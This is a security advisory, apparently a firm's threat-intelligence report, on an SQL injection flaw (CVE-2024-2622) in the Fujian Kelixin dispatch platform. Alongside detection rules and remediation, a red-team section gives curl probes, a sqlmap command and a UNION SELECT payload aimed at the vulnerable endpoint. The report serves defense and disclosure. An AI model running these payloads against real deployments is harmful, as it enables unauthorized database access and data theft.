CVE-2024-2622

Executive Summary

CVE-2024-2622 is a critical SQL injection vulnerability discovered in the Fujian Kelixin Communication Command and Dispatch Platform, affecting versions up to the 20240318 release. The flaw resides in the /api/client/editemedia.php endpoint, where the number and enterprise_uuid parameters are not properly sanitized before being used in SQL queries. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full compromise of the backend database. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is available, and the vendor has not acknowledged the issue.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary Chinese communication platform. Organizations using this platform should treat it as a high-risk supply chain component and consider immediate isolation or replacement.

CVSS Breakdown & Threat Level

CVSS Score: 6.3 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is needed for exploitation.
• Scope (S): Unchanged – The vulnerability does not affect other components beyond the vulnerable application.
• Confidentiality (C): Low – Limited data exposure is possible.
• Integrity (I): Low – Limited data modification is possible.
• Availability (A): Low – Limited service disruption is possible.

Threat Level: High (due to public exploit availability and no patch)

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the /api/client/editemedia.php script. The application accepts HTTP POST or GET requests to this endpoint and uses the number and enterprise_uuid parameters directly in SQL queries without proper sanitization or parameterized queries.

Vulnerable Code Pattern (Conceptual):

<?php
$number = $_REQUEST['number'];
$enterprise_uuid = $_REQUEST['enterprise_uuid'];
$sql = "SELECT * FROM media WHERE number = '$number' AND enterprise_uuid = '$enterprise_uuid'";
$result = mysqli_query($conn, $sql);
?>

The attacker can inject SQL metacharacters (e.g., single quote ') to break out of the intended query structure and execute arbitrary SQL commands. For example, setting number to ' OR '1'='1 would return all records.

Attack Flow:

1. Attacker identifies the vulnerable endpoint via Shodan or manual scanning.
2. Attacker sends a crafted HTTP request with malicious SQL in the number or enterprise_uuid parameter.
3. The backend executes the injected SQL, potentially allowing data extraction, authentication bypass, or command execution (if the database user has sufficient privileges).

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable pattern and a secure alternative.

Vulnerable Code (Conceptual):

$number = $_REQUEST['number'];
$enterprise_uuid = $_REQUEST['enterprise_uuid'];
$sql = "SELECT * FROM media WHERE number = '$number' AND enterprise_uuid = '$enterprise_uuid'";
$result = mysqli_query($conn, $sql);

Patched Code (Conceptual - using prepared statements):

$number = $_REQUEST['number'];
$enterprise_uuid = $_REQUEST['enterprise_uuid'];
$stmt = $conn->prepare("SELECT * FROM media WHERE number = ? AND enterprise_uuid = ?");
$stmt->bind_param("ss", $number, $enterprise_uuid);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses parameterized queries, which prevent SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: A vulnerable instance of Fujian Kelixin Command and Dispatch Platform (version 20240318 or earlier).
• Attacker: Kali Linux with sqlmap and curl.

Exploitation Steps:

1. Identify the endpoint:

   curl -v "http://target-ip/api/client/editemedia.php?number=1&enterprise_uuid=1"
   

2. Test for SQL injection:

   curl "http://target-ip/api/client/editemedia.php?number=1'&enterprise_uuid=1"
   

   If an error is returned (e.g., MySQL syntax error), the endpoint is vulnerable.

3. Automated exploitation with sqlmap:

   sqlmap -u "http://target-ip/api/client/editemedia.php?number=1&enterprise_uuid=1" --batch --dbs
   

4. Manual exploitation example (extracting database version):

   ' UNION SELECT @@version,2,3-- -
   

   URL-encoded:

   number=%27%20UNION%20SELECT%20@@version%2C2%2C3--%20-&enterprise_uuid=1
   

Expected Outcome: Attacker can enumerate databases, tables, and extract sensitive data such as user credentials, call logs, or configuration files.

Blue Team (Defensive)

Detection & Response:

• Monitor HTTP requests to /api/client/editemedia.php for abnormal parameters containing SQL keywords (UNION, SELECT, OR, ', --).
• Enable Web Application Firewall (WAF) rules to block SQL injection patterns.
• Isolate the platform from the internet if possible.
• Review database logs for suspicious queries originating from the web server.

Hunting Queries:

• Search for requests with number or enterprise_uuid containing ', --, %27, %23, or UNION.
• Look for database error messages in web server logs (e.g., You have an error in your SQL syntax).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /api/client/editemedia.php with unusual parameters.
• SQL error messages in HTTP responses (e.g., MySQL syntax error).
• Outbound database connections from the web server to unexpected IPs (data exfiltration).

File IOCs:

• Modified or new files in the web root (e.g., webshells).
• Suspicious entries in web server access logs.

Behavioral IOCs:

• Unusual database queries (e.g., UNION SELECT, LOAD_FILE, INTO OUTFILE).
• High volume of requests to the vulnerable endpoint from a single IP.

Detection Engineering

YARA Rule

rule CVE_2024_2622_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-2622 in Fujian Kelixin Command and Dispatch Platform"
        author = "Valters IT"
        date = "2024-03-20"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-2622"
    strings:
        $suspicious_param1 = "number=" nocase
        $suspicious_param2 = "enterprise_uuid=" nocase
        $sql_keyword1 = "union" nocase
        $sql_keyword2 = "select" nocase
        $sql_keyword3 = "or" nocase
        $sql_meta = "'" nocase
        $sql_comment = "--" nocase
    condition:
        all of ($suspicious_param*) and 1 of ($sql_keyword*) and ($sql_meta or $sql_comment)
}

Sigma Rule

title: SQL Injection Attempt Against CVE-2024-2622
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the editemedia.php endpoint of Fujian Kelixin Command and Dispatch Platform
author: Valters IT
date: 2024/03/20
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2622
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '/api/client/editemedia.php'
        cs-uri-query|contains|all:
            - 'number='
            - 'enterprise_uuid='
        cs-uri-query|contains|any:
            - "'"
            - '--'
            - 'union'
            - 'select'
            - 'or 1=1'
    condition: selection
falsepositives:
    - Legitimate use of special characters in parameters (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-2622 SQL Injection Attempt"; flow:to_server,established; content:"/api/client/editemedia.php"; http_uri; content:"number="; http_uri; content:"enterprise_uuid="; http_uri; pcre:"/(%27|%22|%23|--|union|select|or\s+\d+\s*=\s*\d+)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the platform: If possible, disconnect the vulnerable system from the internet or restrict access via firewall rules.
2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting the /api/client/editemedia.php endpoint.
3. Monitor logs: Actively monitor web server and database logs for exploitation attempts.

Long-term Fix:

• Vendor patch: Contact Fujian Kelixin Communication for an official patch. If unavailable, consider migrating to an alternative platform.
• Code fix: If source code is accessible, replace all dynamic SQL queries with parameterized prepared statements.
• Input validation: Implement strict input validation for all parameters, allowing only expected characters (e.g., alphanumeric for number).

Compromise Assessment:

• Check database for unauthorized queries or data exports.
• Review web server logs for suspicious requests.
• Scan for webshells or backdoors in the web root.

Valters IT signature: This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters-it.com.